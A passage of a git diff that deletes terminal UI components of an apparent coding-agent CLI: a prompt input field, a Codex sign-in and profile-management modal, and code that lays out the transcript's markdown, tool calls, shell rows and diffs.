- } else if (isProcessing && steerOnEnter && onInterrupt !== undefined) { - onInterrupt(trimmed); - } else { - onSubmit(trimmed); - } - resetField(); - } - return; - } - - // Alt+Enter while processing queues the message as a follow-up rather than - // inserting a newline, which is the usual meta+return behaviour. - if (key.return && key.meta && !key.shift && isProcessing) { - const trimmed = value.trim(); - if (trimmed.length > 0 || canSubmitEmpty) { - onSubmit(trimmed); - resetField(); - } - return; - } - - const next = applyKey({ value, cursor }, input, key); - if (next.value !== value) { - onSentHistoryExitBrowse?.(); - // Record our own edit so the value-change effect does not treat the - // echoed prop update as external and yank the cursor to the end. - selfSetValue.current = next.value; - onChange(next.value); - setCursor(next.cursor); - atMention.refresh(next.value, next.cursor); - } else if (next.cursor !== cursor) { - setCursor(next.cursor); - atMention.refresh(next.value, next.cursor); - } - }, { isActive: active }); - - // Paste handler: receives the full pasted string as one event (bracketed paste - // mode from the terminal). Ink's usePaste operates on a separate event channel - // from useInput, so paste characters never trickle in one-by-one through - // useInput — this avoids 10K+ individual re-renders on a large paste. - usePaste((text) => { - if (!active) return; - killRing.current = breakKillSequence(killRing.current); - if (onPasteText?.(text) === true) return; - const next = applyPaste({ value, cursor }, text); - if (next.value === value) return; // empty text — nothing changed - selfSetValue.current = next.value; - onChange(next.value); - setCursor(next.cursor); - atMention.refresh(next.value, next.cursor); - }, { isActive: active }); - - const promptWidth = promptContentWidth(columns ?? 80); - const visualLines = promptVisualLines(value, promptWidth); - const lines = visualLines.map((line) => line.text); - const { cursorLine, cursorCol, cursorCharLength } = locatePromptCursor(visualLines, cursor); - - const { windowStart, windowEnd, atTopEdge, atBottomEdge } = promptScrollWindow( - value, - columns ?? 80, - rows ?? 24, - cursor, - ); - - // Slash and @ pickers are mutually exclusive: slash owns the field when value - // starts with /, @ picker fires for any other @ token in the input. - const showSlash = suggestions.length > 0; - const showAt = !showSlash && atMention.suggestions.length > 0; - // Visible whenever the agent is in flight, not just once the user has - // typed something — interruption works either way and should be - // discoverable immediately. - const showSteerHint = isProcessing; - - const renderInputLines = (): ReactNode[] => { - const out: ReactNode[] = []; - if (atTopEdge) { - out.push( - {" ↑"}, - ); - } - for (let i = windowStart; i < windowEnd; i++) { - const line = lines[i]!; - const prefix = i === 0 ? "> " : " "; - if (i !== cursorLine) { - out.push( - - {prefix} - {line} - , - ); - continue; - } - const head = line.slice(0, cursorCol); - const atChar = line.slice(cursorCol, cursorCol + cursorCharLength); - const tail = line.slice(cursorCol + cursorCharLength); - out.push( - - {prefix} - {head} - {atChar.length > 0 ? ( - <> - {atChar} - {tail} - - ) : ( - ▏ - )} - , - ); - } - if (atBottomEdge) { - out.push( - {" ↓"}, - ); - } - return out; - }; - - // When slash/@ pickers are open the input renders plainly so the - // suggestion list sits flush above it without a competing border. - const inputLines = renderInputLines(); - const inputBody = showSlash || showAt ? ( - - {inputLines} - - ) : ( - - - {inputLines} - - - ); - - return ( - - {showSlash && ( - - {suggestions.map((s, i) => { - const selected = i === clampedIdx; - if (s.kind === "command") { - return ( - - - - {`/${s.name}`} - - - {s.argumentHint !== undefined && s.argumentHint.length > 0 && ( - - {s.argumentHint} - - )} - {s.description} - - ); - } - if (s.kind === "hint") { - return ( - - - - {s.hint} - - - - args (optional pattern) - - - ); - } - const label = `/${s.parentName} ${s.sub.name}`; - return ( - - - - {label} - - - {s.sub.description} - - ); - })} - - - - )} - {showAt && ( - - )} - - {inputBody} - - ); -} diff --git a/src/tui/components/codex-login-modal.tsx b/src/tui/components/codex-login-modal.tsx deleted file mode 100644 index 6f5985d1e..000000000 --- a/src/tui/components/codex-login-modal.tsx +++ /dev/null @@ -1,326 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { useState, useRef } from "react"; -import { color } from "../theme.js"; -import { osc8, writeClipboard } from "../util/clipboard.js"; - -// A handle for an in-progress Codex login: the URL to authorize at and a -// promise that settles when the browser round-trip + token exchange completes. -export type CodexLoginStart = { - authorizeUrl: string; - completed: Promise<{ profile: string }>; - cancel: () => void; -}; - -export type CodexLoginModalProps = { - profiles: string[]; - activeProfile: string | undefined; - /** When set, pre-selects this profile and immediately starts the login flow. */ - autoLoginProfile?: string | undefined; - providerPrefix?: string; - title?: string; - subtitle?: string; - providerLabel?: string; - onStartLogin: (name: string) => Promise; - onSwitchProfile: (name: string) => void; - onRemoveProfile: (name: string) => void; - onClose: () => void; -}; - -type Step = "list" | "name" | "pending" | "done" | "error" | "remove"; - -function validateProfileName(raw: string, existing: string[]): string | null { - const name = raw.trim(); - if (name.length === 0) return "Profile name is required"; - if (!/^[\w-]+$/.test(name)) return "Use letters, numbers, hyphens, or underscores only"; - if (existing.includes(name)) return `Profile "${name}" already exists`; - return null; -} - -export function CodexLoginModal({ - profiles, - activeProfile, - providerPrefix = "codex/", - title = "Codex Login", - subtitle = "Sign in with a ChatGPT Plus/Pro subscription", - providerLabel = "Codex", - onStartLogin, - onSwitchProfile, - onRemoveProfile, - onClose, - autoLoginProfile, -}: CodexLoginModalProps): ReactNode { - // Re-auth is driven by profile name, not list membership: a dead refresh - // token still has a profile on disk (and in the list), but a missing profile - // (never authorized / removed mid-session) must still be able to start the - // browser flow when the runtime names it in autoLoginProfile. - const autoProfile = autoLoginProfile; - const autoIdx = autoProfile !== undefined ? profiles.indexOf(autoProfile) : -1; - const autoStart = autoProfile !== undefined; - const [step, setStep] = useState(autoStart ? "pending" : profiles.length > 0 ? "list" : "name"); - const [cursor, setCursor] = useState(autoIdx >= 0 ? autoIdx : 0); - const [nameValue, setNameValue] = useState(""); - const [nameError, setNameError] = useState(null); - const [authorizeUrl, setAuthorizeUrl] = useState(null); - const [pendingName, setPendingName] = useState(autoProfile ?? ""); - const [resultMessage, setResultMessage] = useState(""); - const [handle, setHandle] = useState(null); - - const beginLogin = (name: string): void => { - setPendingName(name); - setStep("pending"); - setAuthorizeUrl(null); - void onStartLogin(name).then( - (started) => { - setHandle(started); - setAuthorizeUrl(started.authorizeUrl); - started.completed.then( - (res) => { - setResultMessage(`Authorized ${providerLabel} profile "${res.profile}".`); - setStep("done"); - onSwitchProfile(res.profile); - }, - (err: unknown) => { - setResultMessage(err instanceof Error ? err.message : String(err)); - setStep("error"); - }, - ); - }, - (err: unknown) => { - setResultMessage(err instanceof Error ? err.message : String(err)); - setStep("error"); - }, - ); - }; - - // Fire onStartLogin exactly once when auto-starting. The ref guard prevents - // re-firing on re-renders. State is pre-initialized to "pending" so the UI - // is already in the right shape; this just attaches the async handle. - const autoLoginFired = useRef(false); - if (!autoLoginFired.current && autoProfile !== undefined) { - autoLoginFired.current = true; - void onStartLogin(autoProfile).then( - (started) => { - setHandle(started); - setAuthorizeUrl(started.authorizeUrl); - started.completed.then( - (res) => { - setResultMessage(`Authorized ${providerLabel} profile "${res.profile}".`); - setStep("done"); - onSwitchProfile(res.profile); - }, - (err: unknown) => { - setResultMessage(err instanceof Error ? err.message : String(err)); - setStep("error"); - }, - ); - }, - (err: unknown) => { - setResultMessage(err instanceof Error ? err.message : String(err)); - setStep("error"); - }, - ); - } - - useInput((input, key) => { - if (step === "list") { - if (key.upArrow) { - setCursor((i) => (i > 0 ? i - 1 : profiles.length - 1)); - return; - } - if (key.downArrow) { - setCursor((i) => (i < profiles.length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - const name = profiles[cursor]; - if (name !== undefined) { - onSwitchProfile(name); - onClose(); - } - return; - } - if (input === "a") { - setNameValue(""); - setNameError(null); - setStep("name"); - return; - } - if (input === "x") { - if (profiles.length > 0) setStep("remove"); - return; - } - if (key.escape) onClose(); - return; - } - - if (step === "name") { - if (key.return) { - const err = validateProfileName(nameValue, profiles); - if (err !== null) { - setNameError(err); - return; - } - beginLogin(nameValue.trim()); - return; - } - if (key.escape) { - if (profiles.length > 0) setStep("list"); - else onClose(); - return; - } - if (key.backspace || key.delete) { - setNameValue((v) => v.slice(0, -1)); - setNameError(null); - return; - } - if (!key.ctrl && !key.meta && input.length > 0) { - setNameValue((v) => v + input); - setNameError(null); - } - return; - } - - if (step === "pending") { - // Alt+C copies the authorize URL for pasting into a browser manually, - // matching the copy binding used elsewhere (Ctrl+Y is readline yank). - if (key.meta && input === "c" && authorizeUrl !== null) { - writeClipboard(authorizeUrl); - return; - } - if (key.escape) { - handle?.cancel(); - setStep(profiles.length > 0 ? "list" : "name"); - return; - } - return; - } - - if (step === "remove") { - if (input === "y") { - const name = profiles[cursor]; - if (name !== undefined) onRemoveProfile(name); - setCursor(0); - // After removal the list may be empty; the parent re-renders with the - // updated profiles, so fall back to the add step when nothing remains. - setStep(profiles.length > 1 ? "list" : "name"); - return; - } - if (input === "n" || key.escape) { - setStep("list"); - } - return; - } - - // done / error - if (key.return || key.escape) onClose(); - }); - - return ( - - - {title} - - - {subtitle} - - - {step === "list" && ( - - {profiles.map((name, i) => { - const isCursor = i === cursor; - const isActive = `${providerPrefix}${name}` === activeProfile; - return ( - - - {isCursor ? ">" : " "} - - - {isActive ? "* " : " "} - {name} - - - ); - })} - - )} - - {step === "name" && ( - - - Profile name - {/* Keep value and caret in one Box so gap does not insert a phantom space. */} - - 0 ? color("text") : color("muted")}> - {nameValue.length > 0 ? nameValue : "personal, work, ..."} - - | - - - {nameError !== null && ( - - {nameError} - - )} - - )} - - {step === "pending" && ( - - {authorizeUrl === null ? ( - Starting authorization for "{pendingName}"… - ) : ( - <> - - Authorizing "{pendingName}". Your browser should open; if not, open this link: - - - {osc8(authorizeUrl, `Open ${providerLabel} authorization`)} - - {authorizeUrl} - - Waiting for you to complete sign-in… - - - )} - - )} - - {step === "done" && ( - - {resultMessage} - - )} - - {step === "error" && ( - - {resultMessage} - - )} - - {step === "remove" && ( - - Remove {providerLabel} profile {profiles[cursor]}? - y remove · n cancel · Esc cancel - - )} - - - - {step === "list" && "Up/Down navigate · Enter use · a add · x remove · Esc close"} - {step === "name" && "Type a profile name · Enter sign in · Esc back"} - {step === "pending" && "Alt+C copy link · Esc cancel"} - {step === "done" && "Enter close"} - {step === "error" && "Enter close"} - {step === "remove" && "y remove · n cancel · Esc back"} - - - - ); -} diff --git a/src/tui/components/event-log-assembly.ts b/src/tui/components/event-log-assembly.ts deleted file mode 100644 index 23c95286a..000000000 --- a/src/tui/components/event-log-assembly.ts +++ /dev/null @@ -1,1360 +0,0 @@ -import type { ContentBlock } from "../use-stream.js"; -import type { StyledSegment } from "../markdown-parser.js"; -import { createMemoizedParseMarkdown } from "../markdown-parser.js"; -import { createIncrementalMarkdown } from "../streaming-markdown.js"; -import { - describeToolCall, - isShellExitEnvelope, - mergedToolCollapsedPreview, - summarizeToolResult, -} from "../tool-formatter.js"; -import { extractMcpRecords, extractMcpRecord } from "../mcp-result-format.js"; -import { isMcpToolName } from "../../mcp/tool-name.js"; -import { mcpRecordsToView, mcpRecordToView } from "../mcp-view.js"; -import { viewToLines, type StyledLine } from "../view/index.js"; -import { wrapLines, wrapRanges, stringWidth } from "../view/height.js"; -import { color } from "../theme.js"; -import { diffStat, editDiffFromArgs, renderDiff } from "../diff.js"; -import { PRODUCT_NAME, PRODUCT_SHORT_NAME } from "../../branding.js"; - -export type RenderableBlock = Exclude; - -const SHELL_PREFIX = "$ "; -const USER_CODE_BLOCK_LINE_LIMIT = 12; -const EXPANDED_TOOL_RESULT_LINE_LIMIT = 200; -// Tool calls and results sit one level below assistant prose so the model's -// text draws the eye and tools read as subordinate actions. -const TOOL_INDENT = 2; - -// A pending row bakes no elapsed text, but RunningToolRow appends a live -// ` · ` clock outside the wrap budget. Shrink the pending wrap width by -// this reserve so the appended clock never spills past the content column and -// forces Ink to wrap the row onto an extra line. Wide enough for the longest -// realistic hour-form clock (` · 23h 59m 59s`), and RunningToolRow trims the -// rendered clock to this width so it can never exceed the reserved room. -export const RUNNING_ELAPSED_RESERVE = 14; - -function formatToolDurationMs(ms: number): string { - if (ms < 50) return ""; - return ` · ${(ms / 1000).toFixed(1)}s`; -} - -type ToolResultBlock = Extract; - -// A cold assemble calls toolResultForCall once per block, and a linear scan per -// call is O(blocks^2). Index each blocks array once (keyed on its identity, so a -// freshly-built array reindexes and a stale one is collected) and look up in -// O(1). The first matching result per callId wins, matching the old scan. -const toolResultIndexCache = new WeakMap>(); - -function toolResultIndex(blocks: RenderableBlock[]): Map { - const cached = toolResultIndexCache.get(blocks); - if (cached !== undefined) return cached; - const index = new Map(); - for (const block of blocks) { - if (block.type === "tool_result" && !index.has(block.callId)) index.set(block.callId, block); - } - toolResultIndexCache.set(blocks, index); - return index; -} - -function toolResultForCall(blocks: RenderableBlock[], callId: string): ToolResultBlock | undefined { - return toolResultIndex(blocks).get(callId); -} -// One-column gutter shared by the transcript, the chrome (header/tasks/status), -// and the prompt-box border, so every left edge lines up at the same column. -export const TEXT_GUTTER = 1; - -function indentLines(lines: StyledLine[], spaces: number): StyledLine[] { - if (spaces <= 0) return lines; - const pad: StyledSegment = { text: " ".repeat(spaces) }; - return lines.map((line) => [pad, ...line]); -} - -// When every segment in a line shares one backgroundColor, the row's trailing -// pad segment should carry it too so the wash reaches the full row width -// instead of stopping at the last painted character. -export function uniformBackground(line: StyledLine): string | undefined { - const first = line[0]?.backgroundColor; - if (first === undefined) return undefined; - return line.every((seg) => seg.backgroundColor === first) ? first : undefined; -} - -// Tag a pending tool call so the event log paints a static indicator on it. -// Only the two anchor segments carry the marker — the first row's leading -// segment for the pending glyph, the last row's trailing segment for the -// elapsed clock — so a wrapped, multi-row command stays intact: the clock -// lands at the logical end rather than in the middle of the wrapped text. -export function markRunningRow(lines: StyledLine[], startedAt: number): StyledLine[] { - if (lines.length === 0) return lines; - const lastRow = lines.length - 1; - return lines.map((line, li) => - line.map((seg, si) => { - const isSpinnerAnchor = li === 0 && si === 0; - const isElapsedAnchor = li === lastRow && si === line.length - 1; - return isSpinnerAnchor || isElapsedAnchor ? { ...seg, toolRunningSince: startedAt } : seg; - }), - ); -} - -export function runningStartOfLine(line: StyledLine): number | undefined { - return line[0]?.toolRunningSince ?? line[line.length - 1]?.toolRunningSince; -} - -const CACHE_KEY_SEPARATOR = "\x1f"; - -// Tool-call paint depends on whether a matching result exists (pending tint, -// duration, error). Fold that sibling state into the key so a completed call -// never reuses a pending cache entry. -function blockCacheKey( - block: RenderableBlock, - columns: number, - expanded: boolean, - allBlocks?: RenderableBlock[], -): string { - const base = [block.id, String(columns), expanded ? "1" : "0"]; - if (block.type === "tool_call" && allBlocks !== undefined) { - const result = toolResultForCall(allBlocks, block.callId ?? block.id); - base.push( - result === undefined - ? "p" - : `d${result.finishedAt ?? 0}${result.isError ? "e" : "o"}`, - ); - } - return base.join(CACHE_KEY_SEPARATOR); -} - -// When a tool_result is appended after its call was already painted into the -// incremental prefix, walk the prefix back so the call is reassembled and can -// merge / drop · running. Only newly appended results (index >= prevLength) -// trigger a walk-back — completed pairs already in prev stay frozen. -function earliestCallIndexForNewResults( - blocks: RenderableBlock[], - fromIndex: number, - prevLength: number, -): number { - let earliest = fromIndex; - for (let i = Math.max(fromIndex, prevLength); i < blocks.length; i++) { - const block = blocks[i]; - if (block?.type !== "tool_result") continue; - const callId = block.callId ?? block.id; - for (let j = 0; j < i; j++) { - const call = blocks[j]; - if (call?.type === "tool_call" && (call.callId ?? call.id) === callId) { - if (j < earliest) earliest = j; - break; - } - } - } - return earliest; -} - -function appendTextToLastLine(lines: StyledLine[], text: string, seg: Partial = {}): StyledLine[] { - if (text.length === 0 || lines.length === 0) return lines; - const last = lines[lines.length - 1]!; - return [...lines.slice(0, -1), [...last, { text, ...seg }]]; -} - -function blockIdFromCacheKey(key: string): string { - return key.split(CACHE_KEY_SEPARATOR, 1)[0] ?? key; -} - -export function isRenderable(block: ContentBlock): block is RenderableBlock { - return block.type !== "reply" && block.type !== "tasks"; -} - -export function renderableBlocks(blocks: ContentBlock[]): RenderableBlock[] { - return blocks.filter(isRenderable); -} - -export function styleKey(seg: StyledSegment): string { - return [ - seg.bold ? "b" : "", - seg.italic ? "i" : "", - seg.strikethrough ? "s" : "", - seg.heading ?? "", - seg.link ? "l" : "", - // Keep distinct link targets unmerged so OSC 8 sequences do not glue. - seg.linkUrl ?? "", - seg.blockquote ? "q" : "", - seg.rule ? "r" : "", - seg.bullet ? "u" : "", - seg.code ? "c" : "", - seg.color ?? "", - seg.dim ? "d" : "", - seg.backgroundColor ?? "", - ].join("\x1f"); -} - -// Ink lays out and diffs one node per every frame, so collapsing runs of -// identically styled segments into a single node cuts the per-frame cost of the -// visible window — most visibly on tables, whose padding fragments each row. -export function mergeAdjacentSegments(line: StyledLine): StyledSegment[] { - const out: StyledSegment[] = []; - let prevKey: string | undefined; - for (const seg of line) { - const key = styleKey(seg); - const last = out[out.length - 1]; - if (last !== undefined && key === prevKey) { - last.text += seg.text; - } else { - out.push({ ...seg }); - prevKey = key; - } - } - return out; -} -function wrapStyledLine(segments: StyledSegment[], width: number): StyledLine[] { - if (segments.length === 0) return [[]]; - - const first = segments[0]; - const markerWidth = first?.bullet === true && /^\s*(?:•|\d+\.)\s+/.test(first.text) - ? stringWidth(first.text) - : 0; - if (first !== undefined && markerWidth > 0) { - const marker = first; - const body = segments.slice(1); - if (body.length === 0) return [segments]; - const bodyText = body.map((s) => s.text).join(""); - const bodyWidth = Math.max(1, width - markerWidth); - return wrapRanges(bodyText, bodyWidth).map((range, index) => [ - index === 0 ? marker : { text: " ".repeat(markerWidth) }, - ...sliceSegments(body, range.start, range.end), - ]); - } - - const text = segments.map((s) => s.text).join(""); - return wrapRanges(text, width).map((range) => sliceSegments(segments, range.start, range.end)); -} - -function sliceSegments(segments: StyledSegment[], start: number, end: number): StyledSegment[] { - const out: StyledSegment[] = []; - let pos = 0; - for (const seg of segments) { - const segStart = pos; - const segEnd = pos + seg.text.length; - pos = segEnd; - const from = Math.max(start, segStart); - const to = Math.min(end, segEnd); - if (to > from) out.push({ ...seg, text: seg.text.slice(from - segStart, to - segStart) }); - } - return out; -} - -function sanitizeTerminalControls(content: string): string { - return content - .replace(/\x1B\[<\d+;\d+;\d+[Mm]/g, "") - .replace(/\[<\d+;\d+;\d+[Mm]/g, "") - .replace(/\x1B\[[0-?]*[ -/]*[@-~]/g, "") - .replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, ""); -} - -function plainLines(content: string, base: Partial, width: number): StyledLine[] { - return sanitizeTerminalControls(content) - .split("\n") - .flatMap((line) => wrapLines(line, width).map((row) => [{ ...base, text: row }])); -} - -// Expanded tool output is tail-anchored to match the ingress cap policy: exit -// codes, error summaries, and test totals live at the end. A small head stub -// keeps enough context to orient the reader before the elision. -function limitLines(content: string, maxLines: number): string { - const lines = content.split("\n"); - if (lines.length <= maxLines) return content; - const hidden = lines.length - maxLines; - const headStub = Math.min(3, maxLines - 1); - const tailKeep = maxLines - headStub - 1; - return [ - ...lines.slice(0, headStub), - `[${hidden} more lines hidden]`, - ...lines.slice(lines.length - tailKeep), - ].join("\n"); -} - -const SESSION_BRAND = PRODUCT_NAME; -const SESSION_ATTRIBUTION = `Powered by ${PRODUCT_SHORT_NAME}`; - -// Static header at the top of the parent-session scrollback: product identity, -// workspace path, then skills/plugins loaded for this session. -export function buildResourceBanner( - skills: readonly { name: string }[], - plugins: readonly string[], - width: number, - cwd: string, - telemetryNotice?: string, - whatsNewMarkdown?: string, -): StyledLine[] { - const lines: StyledLine[] = [ - [{ text: SESSION_BRAND, bold: true, color: color("brand") }], - [{ text: SESSION_ATTRIBUTION, color: color("muted"), dim: true }], - ...plainLines(cwd, { color: color("muted") }, width), - ]; - const section = (label: string, items: readonly string[]): void => { - if (items.length === 0) return; - lines.push([]); - lines.push([{ text: `[${label}]`, color: color("brand") }]); - lines.push(...plainLines(items.join(", "), { color: color("muted") }, width)); - }; - section("Skills", skills.map((s) => s.name)); - section("Plugins", plugins); - if (telemetryNotice !== undefined && telemetryNotice.length > 0) { - lines.push([]); - lines.push(...plainLines(telemetryNotice, { color: color("muted"), dim: true }, width)); - } - if (whatsNewMarkdown !== undefined && whatsNewMarkdown.length > 0) { - lines.push([]); - lines.push([{ text: "[What's new]", color: color("brand") }]); - lines.push(...markdownLines(whatsNewMarkdown, width)); - } - lines.push([]); - return lines; -} - -function compactUserCodeBlocks(content: string): string { - return content.replace(/```([^\n`]*)\n([\s\S]*?)\n```/g, (match, language: string, body: string) => { - const lineCount = body.length === 0 ? 0 : body.split("\n").length; - if (lineCount <= USER_CODE_BLOCK_LINE_LIMIT) return match; - const label = language.trim().length > 0 ? `${language.trim()} code block` : "code block"; - return `[${label} hidden: ${lineCount} lines]`; - }); -} - -// Shared across all blocks: bounded by createMemoizedParseMarkdown's own LRU -// capacity and cleared by clearMarkdownLineCache alongside the coarser -// per-block line cache (see app.tsx), so it never grows across a session. -const memoizedParseMarkdown = createMemoizedParseMarkdown(); - -export function clearMarkdownLineCache(): void { - memoizedParseMarkdown.clear(); -} - -function markdownLines(content: string, width: number): StyledLine[] { - return memoizedParseMarkdown(content, width).flatMap((segments) => - segments.length === 0 ? [[]] : wrapStyledLine(segments, width), - ); -} - -function shellLines(command: string, role: string, width: number, prefix = SHELL_PREFIX): StyledLine[] { - // Hang-indent every continuation under the command prefix so a wrapped long - // command never reads as a mid-token dump across the full width. - const hang = " ".repeat(prefix.length); - const lines: StyledLine[] = []; - command.split("\n").forEach((logical, li) => { - const rowWidth = Math.max(1, width - prefix.length); - wrapLines(logical, rowWidth).forEach((row, ri) => { - if (li === 0 && ri === 0) { - lines.push([{ text: prefix, color: color("muted"), dim: true }, { text: row, color: role }]); - } else { - lines.push([{ text: hang, color: color("muted"), dim: true }, { text: row, color: role }]); - } - }); - }); - return lines; -} - -// A collapsed shell row is a headline, not a document. Chained multi-line -// commands can span dozens of rows; unclamped, their continuation lines have no -// "$ " anchor and read as detached fragments in the transcript. Show the head, -// mark the rest; Ctrl+O reveals the full command. -const COLLAPSED_SHELL_ROW_LIMIT = 4; - -function clampedShellLines(command: string, role: string, width: number, prefix = SHELL_PREFIX): StyledLine[] { - const all = shellLines(command, role, width, prefix); - if (all.length <= COLLAPSED_SHELL_ROW_LIMIT) return all; - const shown = all.slice(0, COLLAPSED_SHELL_ROW_LIMIT); - const last = shown[shown.length - 1]!; - return [ - ...shown.slice(0, -1), - [...last, { text: ` … (+${all.length - COLLAPSED_SHELL_ROW_LIMIT} more lines)`, color: color("dim"), dim: true }], - ]; -} - -function toolCallLines( - block: Extract, - width: number, - expanded: boolean, - meta?: { pending?: boolean; durationSuffix?: string }, -): StyledLine[] { - const { display, role, summary, full, isShell } = describeToolCall(block.name, block.arguments); - const roleColor = color(role); - // A pending row bakes no duration text; its live spinner and elapsed clock are - // painted by the running-row component from the startedAt marker instead. - const durationSuffix = meta?.pending ? "" : (meta?.durationSuffix ?? ""); - // The running-row component appends a live ` · ` clock after the baked - // headline. Shrink the wrap budget by that reserve while pending so the appended - // clock never spills past the content column and forces Ink onto an extra row. - // A completed row bakes its own duration and gets the full width back. - const contentWidth = meta?.pending ? Math.max(8, width - RUNNING_ELAPSED_RESERVE) : width; - - if (isShell) { - // Shell rows keep the full width: reserving here would push a near-full command - // past the collapse-row limit and drop command text. Instead the running row - // renders with truncation, so an appended clock on a wide last row clips rather - // than soft-wrapping onto a second terminal line and skewing viewport accounting. - const rows = expanded ? shellLines(full, roleColor, width) : clampedShellLines(summary, roleColor, width); - return appendTextToLastLine(rows, durationSuffix, { color: color("dim"), dim: true }); - } - - if (expanded) { - // Text + colour only — no per-tool glyph zoo. Indent from the caller is the - // only left gutter; RunningToolRow swaps that indent for ○ while pending. - const headline = wrapStyledLine( - [{ text: `${display}${durationSuffix}`, color: roleColor }], - contentWidth, - ); - const edit = editDiffFromArgs(block.name, block.arguments); - if (edit !== null) { - // write_file replaces a whole file, so collapse its unchanged context - // and number lines from 1. edit_file hunks diff old_string against - // new_string with no known file offset, so the number gutter stays off - // rather than showing snippet-relative numbers as if they were real. - const diff = renderDiff( - edit.oldText, - edit.newText, - width, - block.name === "write_file" ? { contextLines: 3 } : { lineNumbers: false }, - ); - return [...headline, ...diff]; - } - return full.length > 0 ? [...headline, ...plainLines(full, { color: color("muted") }, width)] : headline; - } - - // Collapsed non-shell tool calls are subordinate — danger stays loud, everything - // else recedes so the model's actual text output draws the eye instead. - const collapsedColor = role === "danger" ? roleColor : color("muted"); - return wrapStyledLine( - [ - { text: `${display}${durationSuffix}`, color: collapsedColor, dim: role !== "danger" }, - ...(summary.length > 0 ? [{ text: ` ${summary}`, color: color("dim"), dim: true }] : []), - ], - contentWidth, - ); -} - -// A collapsed edit_file/write_file row hides the diff itself, so it needs its -// own signal of how big the change was. Appended as two colored runs rather -// than one plain string so +/- read at a glance against the diff palette. -function appendDiffStat(lines: StyledLine[], toolName: string, rawArgs: string): StyledLine[] { - const edit = editDiffFromArgs(toolName, rawArgs); - if (edit === null) return lines; - const { added, removed } = diffStat(edit.oldText, edit.newText); - if (added === 0 && removed === 0) return lines; - const withAdded = appendTextToLastLine(lines, ` +${added}`, { color: color("diffAdded") }); - return appendTextToLastLine(withAdded, `/-${removed}`, { color: color("diffRemoved") }); -} - -function mergedFileEditGroupLines(count: number, width: number): StyledLine[] { - return wrapStyledLine( - [{ text: `Edited ${count} files`, color: color("muted"), dim: true }], - width, - ); -} - -function mergedToolLines( - call: Extract, - result: Extract, - width: number, -): StyledLine[] { - const { role, isShell, summary } = describeToolCall(call.name, call.arguments); - const roleColor = color(role); - - const durationSuffix = formatToolDurationMs((result.finishedAt ?? call.startedAt ?? 0) - (call.startedAt ?? 0)); - - if (isShell) { - // Command and outcome are recomputed from source rather than re-split out of - // a merged string — a " → " inside the command or output would corrupt it. - const outcome = summarizeToolResult(call.name, result.content).preview; - - if (!result.isError) { - const suffix = outcome === "(no output)" ? undefined : outcome; - let rows = clampedShellLines(summary, roleColor, width); - if (suffix !== undefined && suffix.length > 0) { - rows = appendTextToLastLine(rows, ` → ${suffix}`, { color: color("dim"), dim: true }); - } - return appendTextToLastLine(rows, durationSuffix, { color: color("dim"), dim: true }); - } - - if (isShellExitEnvelope(call.name, result.content)) { - // Prefer plain status text over a pass/fail mark: "$ cmd → exit 1: …" in - // danger colour already reads as failure without a decorative ✗. - const rows = clampedShellLines(summary, roleColor, width); - const withOutcome = appendTextToLastLine(rows, ` → ${outcome}`, { color: color("danger"), dim: false }); - return appendTextToLastLine(withOutcome, durationSuffix, { color: color("dim"), dim: true }); - } - } - - const merged = mergedToolCollapsedPreview(call.name, call.arguments, result.content, result.isError); - const collapsedColor = role === "danger" ? roleColor : color("muted"); - const rows = wrapStyledLine( - [{ text: merged, color: collapsedColor, dim: role !== "danger" }], - width, - ); - const withStat = - !result.isError && (call.name === "edit_file" || call.name === "write_file") - ? appendDiffStat(rows, call.name, call.arguments) - : rows; - return appendTextToLastLine(withStat, durationSuffix, { color: collapsedColor, dim: role !== "danger" }); -} - -function toolResultLines(block: Extract, columns: number, width: number, expanded: boolean): StyledLine[] { - if (block.isError) { - if (!expanded) { - if (isShellExitEnvelope(block.name, block.content)) { - // summarizeToolResult's run_shell case already parses the "exit code N\n" - // envelope into a one-line preview; reuse it instead of re-deriving it here. - // Danger colour + "exit N" text is enough — no decorative fail mark. - const { preview } = summarizeToolResult(block.name, block.content); - return plainLines(preview, { color: color("danger") }, width); - } - const firstLine = block.content.split("\n")[0] ?? ""; - return plainLines(`error: ${firstLine}`, { color: color("danger") }, width); - } - - const labeled = block.content - .split("\n") - .map((line, i) => (i === 0 ? "error: " : "") + line) - .join("\n"); - return plainLines(limitLines(labeled, EXPANDED_TOOL_RESULT_LINE_LIMIT), { color: color("danger") }, width); - } - - if (isMcpToolName(block.name)) { - const records = extractMcpRecords(block.content); - if (records !== null) return viewToLines(mcpRecordsToView(records), columns); - const record = extractMcpRecord(block.content); - if (record !== null) return viewToLines(mcpRecordToView(record), columns); - } - - const { preview, full, isJSONDocument } = summarizeToolResult(block.name, block.content); - if (expanded) { - const limited = limitLines(full, EXPANDED_TOOL_RESULT_LINE_LIMIT); - // Task reports are markdown envelopes; render headings rather than raw hashes. - if (isJSONDocument || block.name === "task") return markdownLines(limited, width); - return plainLines(limited, { color: color("muted") }, width); - } - return plainLines(preview, { color: color("muted"), dim: true }, width); -} - -export type PlanContext = { - currentStep: number | null; - deviated: boolean; -}; - -function planStepLines( - block: Extract, - width: number, - ctx: PlanContext | undefined, -): StyledLine[] { - const currentStep = ctx?.currentStep ?? null; - const deviated = ctx?.deviated ?? false; - - const lines: StyledLine[] = []; - block.steps.forEach((step, i) => { - const isDone = currentStep !== null && i < currentStep; - const isActive = currentStep !== null && i === currentStep; - const isCancelled = deviated && currentStep !== null && i >= currentStep && !isActive; - - const text = `${step.action} ${step.file}`.trim(); - - if (isDone) { - lines.push([ - { text: "✓ ", color: color("success") }, - { text, color: color("muted"), strikethrough: true, dim: true }, - ]); - } else if (isActive) { - lines.push([ - { text: "◯ ", color: color("text") }, - { text, color: color("text"), bold: true }, - ]); - } else if (isCancelled) { - lines.push([ - { text: "✗ ", color: color("danger") }, - { text: "cancelled", color: color("danger") }, - { text: ` ${text}`, color: color("dim"), dim: true }, - ]); - } else { - lines.push([ - { text: "○ ", color: color("muted"), dim: true }, - { text, color: color("muted"), dim: true }, - ]); - } - }); - return lines; -} - -// One cache slot is enough: only the transcript's last text block streams, and -// any content replacement or width change resets it. -const streamingTextLines = createIncrementalMarkdown(markdownLines); - -function blockToLines( - block: RenderableBlock, - columns: number, - expanded: boolean, - thinkingExpanded: boolean, - planCtx?: PlanContext, - streaming = false, - allBlocks?: RenderableBlock[], -): StyledLine[] { - const width = Math.max(8, columns); - - switch (block.type) { - case "thinking": { - if (!thinkingExpanded) return [[{ text: "▸ thinking…", color: color("muted"), dim: true 